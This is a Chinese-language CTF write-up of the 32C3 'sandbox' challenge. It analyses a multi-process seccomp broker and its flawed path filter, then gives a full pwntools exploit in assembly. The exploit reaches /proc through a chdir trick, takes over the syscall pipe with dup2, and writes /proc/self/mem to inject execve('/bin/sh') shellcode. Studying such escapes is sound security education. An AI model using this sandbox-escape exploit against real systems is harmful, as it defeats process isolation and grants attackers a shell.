32c3 sandbox

Tags: /proc/self/mem,seccomp,shellcode

前言

做 seccomp 相关题目遇到的一个题目, 利用方式很有意思, 第一次见: 通过 修改 /proc/self/mem 可以修改不可写的代码段. 第一次见, 记录一下.

题目分析

逻辑有点复杂, 我可能表述的也不是太清楚, 仅供参考, 最好还是自己逆一下.

这个题目通过 fork 和 clone 整出了三个进程, 我们以 parent, sec, unsec 来表示它们.

进程之间是通过 管道和 mmap 的内存进行通信的

  1. pipe 了三个 管道. 因为 pipe 会优先使用最小的 fd, 所以pipe 得到的fd 是可以预测的. 三个进程间使用的管道的 fd 的情况如下图:
管道和线程之间的关系
  1. mmap 了两块内存, 用 mmap1 mmap2 表示它们

    1. mmap1 的权限是 rwx,
    2. mmap2 在 sec 和 unsec 中是 只读的, 在 parent 中是 rwx的
    3. mmap2 和 mmap1 相邻 且 mmap2 在 mmap1 低地址处.

    pwndbg> vmmap
    ...
    0x7ffff7ff6000 0x7ffff7ff7000 r-xp 1000 0 // mmap2
    0x7ffff7ff7000 0x7ffff7ff8000 rwxp 1000 0 // mmap1
    ...

然后分析三个进程各自的工作流程

  1. unsec

    首先设置 seccomp 为 strict 模式, 只能执行 read(2), write(2), _exit(2) 这三个系统调用

    然后读取并执行 shellcode, shellcode 的长度没有限制.

    虽然通过shellcode 只能执行 read, write, exit 三个系统调用, 但是可以通过 parent 和 sec 执行其它的一些系统调用:

    1. 将系统调用号和参数放到 mmap1 中, 然后 通过管道往 parent 端写一个字节 (发送 "信号")
    2. 使用 sys_read 阻塞在 sec 和 unsec 的管道的read end, 等待 sec 执行完 syscall 发 "信号" 过来
    3. syscall 的返回值 存在 全局变量中
  2. parent

    阻塞在 read(3, buf, 1) 这个系统调用, 等待 unsec 发来"信号". read返回之后会 从 mmap1 读取系统调用的参数等信息. parent 有一个白名单 (0x0401800), 遇到不在其中的系统调用会直接退出程序. open 和 chdir 虽然在白名单中, 但是 parent 还会校验他们的参数(0x0400D30): 路径中不能包含dev, proc, sys.

    如果通过了校验就会把 mmap1 中的参数 复制到 mmap2 中, 然后通过管道往 sec 写一个字节

  3. sec

    sec 是完全由汇编编写的. 任务就是执行 syscall

    阻塞在 read(3, buf, 1) 这个系统调用, 等待 parent 的 "信号", read 返回之后

    1. 会从 mmap2 读取系统调用的参数, 然后执行系统调用,
    2. 将系统调用的返回结果写到 一个全局变量中
    3. 通过管道往 unsec 发送一个 "信号"

程序提供了一个 供 unsec 进行系统调用的函数,可以在 shellcode 中使用

__int64 __fastcall unsec_do_syscall(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
  __int64 v7; // rax
  int parent; // edi
  __int64 result; // rax
  char v10; // [rsp+0h] [rbp-18h]

  v7 = g_mmap1_rwx;
  *(_QWORD *)(g_mmap1_rwx + 0x10) = a3;
  *(_DWORD *)v7 = a1;
  parent = unsec_to_parent;
  *(_QWORD *)(v7 + 8) = a2;
  *(_QWORD *)(v7 + 0x18) = a4;
  *(_QWORD *)(v7 + 0x30) = a7;
  *(_QWORD *)(v7 + 0x20) = a5;
  *(_QWORD *)(v7 + 0x28) = a6;
  v10 = 0;
  if ( write(parent, &v10, 1uLL) != 1 )
  {
    write(2, "unable to request syscall\n", 0x1AuLL);
    _exit(1);
  }
  if ( read(unsec_from_sec, &v10, 1uLL) != 1 )
  {
    write(2, "unable to wait for syscall completion\n", 0x26uLL);
    _exit(1);
  }
  if ( v10 )
    _exit(1);
  result = syscall_result;
  g_offset = 0LL;
  return result;
}

漏洞分析

漏洞在校验 chdir 和 open 的参数的函数中

signed __int64 __fastcall open_chdir_cb(struct syscall_regs *a1)
{
  struct syscall_regs *v1; // rbx
  char *_path; // rax
  char *v3; // rdx
  signed __int64 v4; // rdi
  char v5; // cl
  char v7[4104]; // [rsp+0h] [rbp-1028h]
  unsigned __int64 v8; // [rsp+1008h] [rbp-20h]

  v1 = a1;
  v8 = __readfsqword(0x28u);
  _path = (char *)a1->_rdi;
  if ( (unsigned __int64)_path < g_mmap1_rwx )
    return 0LL;
  v3 = (char *)(g_mmap1_rwx + 0x1000);
  if ( (unsigned __int64)_path >= g_mmap1_rwx + 0x1000 )
    return 0LL;
  v7[0] = *_path;
  if ( v7[0] )                                  // copy to stack
  {
    v4 = v7 - _path;
    while ( v3 != ++_path )
    {
      v5 = *_path;
      _path[v4] = *_path;
      if ( !v5 )
        goto LABEL_7;
    }
    return 0LL;
  }
LABEL_7:
  if ( strstr(v7, "dev") )
    return 0LL;
  if ( strstr(v7, "proc") || strstr(v7, "sys") )
    return 0LL;
  strcpy((char *)g_mmap2_child_ro + 0x38, v7);  // overflow
  v1->_rdi = (unsigned __int64)g_mmap2_child_ro + 0x38;
  return 1LL;
}

可以看到一个明显的溢出点. 我们甚至不需要溢出.

假设我们进行如下操作

  1. 构造一个 chdir 系统调用, rdi 指向 mmap1+0x30, 并将mmap1+0x30 至 mmap1+0x1000-8 中填充满字符 "/", mmap1+0x1000-8 至 mmap1 + 0x1000 填充字符 "\x00"
  2. 然后 通过管道往 parent 发送 "信号". 显然我们可以通过校验, parent 会将参数复制到 mmap2 中, rdi 指向 mmap2 + 0x38, mmap2+0x38 至 mmap2+0x1000 之间都会填满 "/", 然后parent 会往 sec 发送 "信号" 让 sec 执行 syscall
  3. 我们如果可以在 sec 执行 syscall 之前将 mmap1 地址处的字符串 修改为 proc\x00, 因为 mmap2 和 mmap1 是相邻的, 所以sec中就会执行 chdir("////////.......//////proc") 我们就可以 cd 到 /proc
  4. 然后我们就可以通过修改 /proc/self/mem 来修改 代码段为 shellcode了.

而且我们甚至也不需要使用条件竞争.

我们通过 pipe 新生成一个管道, 并使用 dup2 把 parent to sec 的管道 read end 给覆盖掉. (这两个系统调用都在白名单中) 我们就可以在 unsec 中给 sec 发送系统调用来随时让 sec 执行系统调用了.

思路有了, 那就写 exp 呗

写 exp 过程中免不了调试的...... 这种多进程+多线程调试还是有些麻烦的.

首先 attach 是不行的, attach的话只能调试 parent 这个进程. 所以得直接用 gdb启动, 不能用 process

io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400BE0")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)

线程之间切换倒是很方便, 直接用 thread 命令就行了.

exp

汇编写的头秃.......

#coding:utf-8
from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# sc = open("./sc.asm", "r").read()
sc = """#define unsec_do_syscall 0x04010C0
#define bss 0x603000
#define fds 0x603200
#define g_buf 0x00603128
#define unsec_to_parent_w 4
#define unsec_to_sec_w 6
#define parent_to_sec_r_dup 233
#define sec_to_unsec_r 7
#define mmap1 0x603158
jmp start
get_addr:
    call get_addr2
get_addr2:
    mov rax, [rsp]
    sub rsp, 0x10
    jmp get_addr_ret

shellcode:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    mov rsp, 0x603800
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall



start:
/* dup fd parent_to_sec_readend, so parent's write to pipe won't fail */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, 5 
mov rdx, parent_to_sec_r_dup
call r13

/* init a new pipe to be used by unsec to sec */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 22 /* sys_pipe */
mov rsi, fds
call r13
/* fds = {3, 6} */

/* dup new fd to old parent_to_sec_readend (5), then we can control sec to do syscall */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, fds
mov esi, [rsi] /* new fd read end */
mov rdx, 5  /* old parent_to_sec_readend fd */
call r13

/* chdir to /proc */
/* fill mmap1 with '/' first */
mov rax, 0x2f2f2f2f2f2f2f2f 
/* # define mmap1 0x603158 */
mov rdi, mmap1
mov rdi, [rdi]
mov rcx, (4096/8)
rep stosq
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi + 0x1000-8]
mov qword ptr [rdi], 0  /* terminat with \x00 vali vali important !!!*/

/* now signal parent to copy args */
call clear_regs
mov eax, 80 /* sys_chdir */
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi+0x30]
mov r9, 0x2f2f2f2f2f2f2f2f
call new_do_syscall_p1

/* append tail and signal sec thread to do syscall */
mov r11, [mmap1]
mov qword ptr [r11], 0x636f7270 /* \x00\x00\x00\x00proc */
call new_do_syscall_p2
/*rax = 0 should means that now we are in /proc */

/* open(file='self/mem', oflag=2, mode=0) */
/* push 'self/mem\x00' */
mov rdi, [mmap1]
mov rsi, 0x6d656d2f666c6573
mov [rdi+0x38],  rsi
xor rsi, rsi
mov [rdi+0x40], rsi
lea rdi, [rdi+0x38]
xor edx, edx /* 0 */
mov rsi, 2 /* O_RDWR */
/* call open() */
mov rax,  2 /* SYS_open */
call new_do_syscall

#define fd_of_proc_self_mem_addr  bss + 0x400
mov rdi, fd_of_proc_self_mem_addr
mov [rdi], rax

#define sec_block_read 0x0000000000401637
/* lseek(fd='rax', offset=sec_block_read, whence='SEEK_SET') */
mov rdi, rax
mov esi, sec_block_read
xor edx, edx /* SEEK_SET */
/* call lseek() */
mov rax,  8 /* SYS_lseek */
call new_do_syscall

/* get shellcode addr */

call get_addr
get_addr_ret:  /*0x7ffff7ff5180 */
/* now rax is get_addr2's addr */
add rax, 0x10 /*0x7ffff7ff5185 */

mov rdi, fd_of_proc_self_mem_addr
mov rdi, [rdi]
mov rsi, rax
mov rdx, 0x80
mov rax, 1
call new_do_syscall



/* after pipe() and dup(),  we are unable to use unsec_do_syscall function,
    so we neeed to implement our own do syscall funtion */
#define syscall_result_addr 0x603138
new_do_syscall:
    call new_do_syscall_p1
    call new_do_syscall_p2
    ret

/*  1. put args to  mmap1 
    2. signal parent to copy args
    3. wait parent's copy done */
new_do_syscall_p1:
    /* mov args to mmap1 */
    mov r11, mmap1
    mov r11, [r11]
    mov [r11], rax
    mov [r11+8], rdi
    mov [r11+0x10], rsi
    mov [r11+0x18], rdx
    mov [r11+0x20], r10
    mov [r11+0x28], r8
    mov [r11+0x30], r9

    /* use pip to signal parent */
    mov rdi, unsec_to_parent_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall
    /* then parent should copy args to mmap2m, we should wait the signal on the dup fd*/
    mov rdi, parent_to_sec_r_dup
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall
    ret

/*  1. signal sec thread to do syscall
    2. wait sec thread syscall done
    3. mov syscall result to rax and return */
new_do_syscall_p2:
    /* then we need to use pipe to signal thread_sec to do syscall */
    mov rdi, unsec_to_sec_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall

    /* then wait on the pipe. sec will signal unsec when syscall is done */
    mov rdi, sec_to_unsec_r
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall

    /* afterall, mov syscall result to rax */
    mov rax, [syscall_result_addr]
    ret

clear_regs:
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    xor r8, r8
    xor r9, r9
    ret
"""
# io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400c2d\nb *0x400D30")
io = process("./sandbox")

io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
io.interactive()

总结

竟然还有通过写 /proc/self/mem 来修改代码段的这种骚操作. 第一次见, 学习了.

Appendix A : 参考

[1] http://tukan.farm/2016/01/13/32C3-CTF-sandbox-writeup/

[2] https://www.cnblogs.com/xuxm2007/archive/2011/04/01/2002162.html

[3] https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/sandbox-300

你可能感兴趣的:(32c3 sandbox)